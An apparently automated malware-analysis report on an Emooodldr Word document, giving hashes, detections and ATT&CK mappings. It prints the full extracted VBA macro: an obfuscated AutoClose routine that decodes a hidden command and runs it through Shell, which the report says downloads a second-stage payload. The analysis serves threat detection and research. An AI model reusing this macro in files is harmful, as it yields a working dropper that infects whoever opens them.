Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 e9fe7ebd22877358…

MALICIOUS

Office (OOXML)

53.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-11-20
MD5: 6693e904fdd23b36f443613cba5735a6 SHA-1: 574c0bf112d0d15a6579652c01ca0c1c39d93424 SHA-256: e9fe7ebd22877358cc0f02c233faeaf4c40cf057a3c9fe5ba0a53ff3d9765f4b
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is present and uses the Shell() function to execute a command. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family. The VBA script appears to be obfuscated but its intent is to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2049 bytes
SHA-256: ad0a5d4316f5f84b6ffb7ef779553957fdaacf82da40afdafac5d6df8cb6ee5b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function plumate(procritique)
  noncompressible = Array("n", "j", "X", "A", "E", "D", "0", "e", "o", "w", "N", "4", "C", "9", "x", "k", "d", "", "B", "c", "v", "i", "Y", "H", "3", "O", "F", "7")
  ribbier = Array("x", " ", "w", "/", "u", "G", "=", "t", ":", "d", "h", "r", "q", "n", "j", "p", "o", "R", "?", "m", "e", "c", "i", ".", "g", "P", "s", "a")
  
  absmho = vbNullString
  
  For Each fraudful In procritique
    sapience = rumple(fraudful, noncompressible)
    If sapience > -1 Then
    absmho = ribbier(sapience) + absmho
    End If
  Next
  
  plumate = StrReverse(absmho)
  
End Function

Public Function rumple(ricinic, lignitizes)
  spet = 1442
  caudatory = 9282
  For spet = 0 To UBound(lignitizes)
    If lignitizes(spet) = ricinic And spet > -1 Then
     caudatory = spet
    End If
  Next

  If caudatory = 9282 Then
    caudatory = -1
  End If
  
  rumple = caudatory
End Function


Sub AutoClose()
  procritique = Array("c", "F", "N", "e", "7", "H", "v", "n", "v", "j", "N", "e", "e", "k", "o", "A", "A", "C", "X", "w", "d", "Y", "c", "3", "9", "E", "x", "7", "Y", "w", "3", "E", "9", "C", "X", "w", "C", "w", "H", "i", "d", "c", "A", "", "O", "D", "A", "F", "v", "v", "w", "H", "k", "N", "k", "B", "E", "e", "c", "7", "0", "F", "e", "7", "4", "e", "3")
  delation = plumate(procritique)
  
  Application.Run "respects", (delation)
  
End Sub


Private Sub respects(multinational)
   
   overtimed = 16202
   alternate = True
   
   While alternate
     bandana = overtimed + 92
     If bandana - overtimed > 1 Then
       maquiladora = uncharitably + "ll"
       Call VBA.Shell(multinational, vbNormalFocus - 1)
       alternate = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: c766dac44e5c672e9e6824a13889096169b3f4c32580a94162be615642ad848e
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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